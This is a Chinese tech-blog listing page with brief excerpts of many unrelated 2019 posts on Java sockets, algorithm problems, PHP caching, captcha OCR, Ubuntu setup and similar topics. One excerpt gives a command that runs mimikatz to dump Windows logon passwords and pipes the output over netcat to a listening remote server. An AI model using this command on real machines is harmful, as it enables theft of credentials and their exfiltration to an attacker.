一、TCP通信概述,逻辑连接就是三次握手 二、客户端和服务端实现TCP协议通信基本步骤 1、客户端套接字对象 Socket 2、服务端套接字ServerSocket 客户端补充完整代码:除了创建各自的Socket对象有关代码,其他代码一样,就输出流的输出的文字内容不一样: ...
分类:
其他好文 时间:
2019-08-11 00:51:22
阅读次数:
58
打印流 如果现在要想通过程序实现内容的输出,核心的本质一定要依靠OutputStream类完成,但是OutputStream类有一个最大的缺点,这类的数据输出操作功能有限public void write(byte[] b) throws IOException,所有的数据一定要转为字节数组后才可以 ...
分类:
其他好文 时间:
2019-08-11 00:50:21
阅读次数:
86
1 #include 2 #define maxn 13003 3 #define _for(i,a,b) for(int i = (a);i = 10) write(x / 10); 19 putchar(x % 10 + '0'); 20 } 21 int N,V = 0; 22 int bas... ...
分类:
其他好文 时间:
2019-08-11 00:50:01
阅读次数:
63
1、个人比较喜欢的配色: 2、效果如下: 3、将1中的代码保存文档并命名为XTerm.xcs,打开Xshell 工具-->配色方案-->将原先的XTerm删除-->导入刚保存好的XTerm.xcs,之后打开窗口都是这个配色了。 ...
分类:
系统相关 时间:
2019-08-11 00:49:44
阅读次数:
253
网上有很多同义但不同方式的说法,下面的这个说法比较让你容易理解和接受 “与类和实例无绑定关系”就道出了其中的关键 我们知道python是动态的编程语言,python的类除了可以预先定义好外,还可以在执行过程中,动态地将函数绑定到类上,绑定成功后,那些函数就变成类的方法了。 定义User类 可以使用_ ...
分类:
编程语言 时间:
2019-08-11 00:48:44
阅读次数:
105
问题 L: 【KMP】Radio Transmission 题目描述 给你一个字符串,它是由某个字符串不断自我连接形成的。但是这个字符串是不确定的,现在只想知道它的最短长度是多少。 输入 第一行给出字符串的长度L,第二行给出一个字符串,全由小写字母组成。 输出 输出最短的长度。 样例输入 样例输出 ...
分类:
其他好文 时间:
2019-08-11 00:48:23
阅读次数:
106
问题 I: 【哈希和哈希表】门票 题目描述 RPK要带MSH去一个更加神秘的地方!RPK带着MSH穿过广场,在第1618块砖上按下了一个按钮,在一面墙上随即出现了一个把手。RPK握住把手,打开了一扇石质大门。他们穿过悠长而芬芳的小道,走到了一扇象征时间的大门――“the gate of time”。 ...
分类:
其他好文 时间:
2019-08-11 00:47:53
阅读次数:
95
PHP 缓存加速器介绍 操作码缓存 请求一个 PHP 程序时,PHP 引擎会解析程序,并且将编译码作为特定操作码。这是要执行的代 码的一种二进制表示形式。随后,此操作码有 PHP 引擎执行并丢弃。操作码缓存将保存这个编 译后的操作码,并在下一次调用该页面时重用它,这就节省了重复编译的时间。 为了提高 ...
分类:
Web程序 时间:
2019-08-11 00:47:23
阅读次数:
155
在完成了分配任务之后,西部314来到了楼兰古城的西部。 相传很久以前这片土地上(比楼兰古城还早)生活着两个部落,一个部落崇拜尖刀(‘V’),一个部落崇拜铁锹(‘∧’),他们分别用V和∧的形状来代表各自部落的图腾。 西部314在楼兰古城的下面发现了一幅巨大的壁画,壁画上被标记出了N个点,经测量发现这N ...
分类:
其他好文 时间:
2019-08-11 00:47:05
阅读次数:
82
今天介绍一个简单验证的识别。 主要是标准的格式,没有扭曲和变现。就用 pytesseract 去识别一下。 验证码地址:http://wsxf.mca.gov.cn/zfp/Random.cmd?d=1565452532947 需要识别的验证码是: 识别结果是: 识别率百分之八十。10个有两个错误。 ...
分类:
编程语言 时间:
2019-08-11 00:46:53
阅读次数:
87
搜索资源网站 学习技术过程我们经常需要使用搜索引擎来检索资料,国内常用的也就是某度了。 当然有条件的话,搜索引擎首先还是推荐使用 Google,如果没办法使用,可以使用以下几个作为备用: Bing Bing 国际版:https://cn.bing.com/ 比某度好用,之前还被停用了几天,最近可以了 ...
分类:
其他好文 时间:
2019-08-11 00:46:31
阅读次数:
85
安装Ubuntu服务器版 1、点击 “开启此虚拟机”,开始安装。 2、默认选择English,英文版安装,直接按Enter键即可。 3、默认选择“Install Ubuntu Server”,安装ubuntu服务器版。 4、继续默认项“English” 5、国家或地区我们选择 “Other”--> ...
分类:
系统相关 时间:
2019-08-11 00:46:13
阅读次数:
191
mimikatz需要管理员权限运行 vps监听 nc -lvp 4444 服务器管理员权限执行 mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.0.1 1234 ...
分类:
其他好文 时间:
2019-08-11 00:45:38
阅读次数:
78
https://sebastianraschka.com/Articles/2014_python_scope_and_namespaces.html https://stackoverflow.com/questions/4020419/why-arent-python-nested-functi ...
分类:
编程语言 时间:
2019-08-11 00:45:20
阅读次数:
90
较早前文章介绍了怎么样在安卓手机上安装激活XPosed框架,XPosed框架的强大功能大家都清楚,能不修改apk的前提下,修改系统底层的参数,打比方在某些应用需要,大家需要修改手机的某个系统参数,这情况下就需要使用XPosed以及相关模块功能来实现。这里总计一下具体xposed框架的下载和框架模块应用沙盒的使用流程,成功激活并准确修改cpu参数。首先,具体XPOSED框架大伙可以在软件作者官网了解
分类:
移动开发 时间:
2019-08-11 00:45:01
阅读次数:
302
这题一开始不知道剪枝这种操作,只会傻傻地dfs。 然后dfs递归写80分超时,非递归写70分超时(纳尼?我一直以为非递归算法在时间上会更优秀一些,为什么会这样?!!) 剪一下枝就都能过了 1 #include<cstdio> 2 #include<iostream> 3 #include<algor ...
分类:
其他好文 时间:
2019-08-11 00:44:37
阅读次数:
104